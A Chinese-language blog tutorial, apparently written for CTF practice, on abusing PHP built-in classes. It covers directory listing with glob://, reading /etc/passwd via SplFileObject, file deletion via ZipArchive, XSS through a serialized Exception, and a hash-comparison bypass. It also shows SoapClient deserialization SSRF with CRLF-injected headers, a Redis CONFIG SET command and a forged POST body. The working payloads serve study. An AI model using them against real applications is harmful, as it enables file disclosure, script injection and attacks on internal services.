php原生类

php原生类

前言

在php中除了php内置函数还有很多内置类,这些内置类可以和内置函数一样调用。

看一下php内置类中可用的魔术方法

<?php
$classes = get_declared_classes();  // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
    $methods = get_class_methods($class);  // 返回由类的方法名组成的数组
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . ";";
        }
    }
    print "\n";
}

运行结果:

Exception::__wakeup;Exception::__toString;
ErrorException::__wakeup;ErrorException::__toString;
Error::__wakeup;Error::__toString;
CompileError::__wakeup;CompileError::__toString;
ParseError::__wakeup;ParseError::__toString;
TypeError::__wakeup;TypeError::__toString;
ArgumentCountError::__wakeup;ArgumentCountError::__toString;
ArithmeticError::__wakeup;ArithmeticError::__toString;
DivisionByZeroError::__wakeup;DivisionByZeroError::__toString;

Generator::__wakeup;
ClosedGeneratorException::__wakeup;ClosedGeneratorException::__toString;
DateTime::__wakeup;DateTime::__set_state;
DateTimeImmutable::__wakeup;DateTimeImmutable::__set_state;
DateTimeZone::__wakeup;DateTimeZone::__set_state;
DateInterval::__wakeup;DateInterval::__set_state;
DatePeriod::__wakeup;DatePeriod::__set_state;

JsonException::__wakeup;JsonException::__toString;
LogicException::__wakeup;LogicException::__toString;
BadFunctionCallException::__wakeup;BadFunctionCallException::__toString;
BadMethodCallException::__wakeup;BadMethodCallException::__toString;
DomainException::__wakeup;DomainException::__toString;
InvalidArgumentException::__wakeup;InvalidArgumentException::__toString;
LengthException::__wakeup;LengthException::__toString;
OutOfRangeException::__wakeup;OutOfRangeException::__toString;
RuntimeException::__wakeup;RuntimeException::__toString;
OutOfBoundsException::__wakeup;OutOfBoundsException::__toString;
OverflowException::__wakeup;OverflowException::__toString;
RangeException::__wakeup;RangeException::__toString;
UnderflowException::__wakeup;UnderflowException::__toString;
UnexpectedValueException::__wakeup;UnexpectedValueException::__toString;

CachingIterator::__toString;
RecursiveCachingIterator::__toString;

SplFileInfo::__toString;
DirectoryIterator::__toString;
FilesystemIterator::__toString;
RecursiveDirectoryIterator::__toString;
GlobIterator::__toString;
SplFileObject::__toString;
SplTempFileObject::__toString;

SplFixedArray::__wakeup;

ReflectionException::__wakeup;ReflectionException::__toString;

ReflectionFunctionAbstract::__toString;
ReflectionFunction::__toString;

ReflectionParameter::__toString;
ReflectionType::__toString;
ReflectionNamedType::__toString;
ReflectionMethod::__toString;
ReflectionClass::__toString;
ReflectionObject::__toString;
ReflectionProperty::__toString;
ReflectionClassConstant::__toString;
ReflectionExtension::__toString;
ReflectionZendExtension::__toString;

AssertionError::__wakeup;AssertionError::__toString;


DOMException::__wakeup;DOMException::__toString;

下面整理了比较常用的几个内置类的方法

1.可以用于文件名读取类(遍历目录)

1.DirectorylteratorFilesystemlterator

这两个类常用于读取文件,遍历目录
Directorylterator(PHP 5, PHP 7, PHP 8)
Filesystemlterator(PHP 5 >= 5.3.0, PHP 7, PHP 8)
由官方文档可用知道Filesystemlterator继承于Directorylterator

image-20221103160122420

下面先来分析一下Filesystemlterator原生类

先来看一下类的官方文档

image-20221103160248221

可以看到在官方文档中Filesystemlterator原生类中存在一个_tostring魔术方法
public__tostring(): string
而Filesystemlterator之所以能够读取文件名,遍历目录就是因为_tostring可以以字符串的形式获取文件名

Filesystemlterator类测试:

$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

image-20221103170231078

Directorylterator

本地测试:

<?php
highlight_file(__file__);
$dir = $_GET['ki10Moc'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>
 #这里配合glob协议去测试
 // glob:伪协议会查找匹配的的文件路径模式
    $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

image-20221103162942314

测试2

image-20221103163312294

CTF题目:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();//返回缓冲区内容
        ob_end_clean();//清空(擦掉)输出缓冲区
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
    payload:c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();

image-20221103171801356

Globlterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)
Globlterator类和上面两个类作用1比较类似,但不同于上面两类,根据其官方文档介绍可以知道Globlterator遍历一个文件系统行为类似于glob(),所以可以借助于模式匹配去查找路径,而不需要借助glob,而且这个类是继承于Filesystemlterator

image-20221103172923946

测试代码:

<?php
highlight_file(__file__);
$dir = $_GET['test'];
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

image-20221103173445809

可以看到是以绝对路径的形式返回的,而且不借助于glob协议就可以进行遍历目录

2.可以用于获取文件内容

SplFileObject

SplFileObject

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileObject类为单个文件的信息提供了高级的面向对象接口
SplFileObject::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

image-20221103173742007

代码测试:

<?php
highlight_file(__file__);
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

image-20221103174110126

3.可进行文件删除类

ZipArchive::open()
PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
可进行文件的删除操作
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);

4.利用原生类构造XSS

Error /Exception

Error 是所有PHP内部错误类的基类。
Exception是所有用户级异常的基类。
使用条件:
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错
这两个类里的_tostring魔术方法会把错误类对象转换为字符串,那我们就可以借助去构造xss

测试代码:

<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

利用Exception::__toString方法来构造xss

<?php
$a = new Exception("<script>alert('hacker')</script>");//new Error
$b = serialize($a);
echo urlencode($b);
?>
   #O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A56%3A%22C%3A%5CUsers%5Cguoju%5CAppData%5CLocal%5CTemp%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

image-20221103180615151

5.绕过哈希

Error /Exception

测试代码:

<?php
$a = new Error("payload",1);
echo $a;

image-20221103182229554

发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 `Error("payload",1)` 中的错误代码“1”则没有输出出来,
那我们就可以通过这种方式绕过hex

第二个测试:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

image-20221103182449235

可见,$a 和 $b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用。

第三个测试:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
var_dump($a === $b);//对a和b进行判断
echo '<br>';
echo $a;//输出a
echo '<br>';
echo $b;//输出b
echo '<br>';

输出:

image-20221103182742141

输出中可以看到对a和b的比较结果打印是一个bool(false),
而a和b的打印出来的值完全相同
这样就可以绕过哈希比较了

6.SSRF

SoapClient

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议。SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式
SoapClient {
    /* 方法 */
    public __construct ( string|null $wsdl , array $options = [] )
    public __call ( string $name , array $args ) : mixed
    public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
    public __getCookies ( ) : array
    public __getFunctions ( ) : array|null
    public __getLastRequest ( ) : string|null
    public __getLastRequestHeaders ( ) : string|null
    public __getLastResponse ( ) : string|null
    public __getLastResponseHeaders ( ) : string|null
    public __getTypes ( ) : array|null
    public __setCookie ( string $name , string|null $value = null ) : void
    public __setLocation ( string $location = "" ) : string|null
    public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
    public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

这个类的构造函数如下

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
    第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
    第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

使用SoapClient进行SSRF

测试代码:(由于环境原因,这里借用的其他师傅的)

<?php
$a = new SoapClient(null,array('location'=>'http://ip:2333/aaa', 'uri'=>'http://192.168.91.153:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

在ip主机上面监听2333端口

nc -lvp 2333

listening on [any] 2333 ...
192.168.3.1: inverse host lookup failed: Unknown host
connect to [192.168.3.130] from (UNKNOWN) [192.168.3.1] 63518
POST /aaa HTTP/1.1
Host: 192.168.3.130:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.3.130:2333#a"
Content-Length: 386

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.3.130:2333" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

image-20221103210748097

但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

如下测试代码,我们在HTTP头中插入一个cookie:

<?php
$target = 'http://192.168.91.153:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行成功后,监听到

root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7858 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4        # 插入的cookie
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

利用HTTP协议去攻击Redis:

<?php
$target = 'http://192.168.91.153:2333/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b); 
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行成功后,监听到

root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7860 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.4.3
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html        # 这里就是Redis命令
hello#a"
Content-Length: 403
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="hello
CONFIG SET dir /var/www/html
hello" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

发送POST数据包,就是 Content-Type 的设置,因为我们要提交的是POST数据,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

<?php
$target = 'http://192.168.91.153:2333/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

执行代码成功后,监听到

root@ubuntu18:~# nc -lvp 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from 192.168.91.1 7862 received!
POST / HTTP/1.1
Host: 192.168.91.153:2333
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
 
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
posted @ 2022-11-04 20:52  GTL_JU  阅读(179)  评论(0编辑  收藏  举报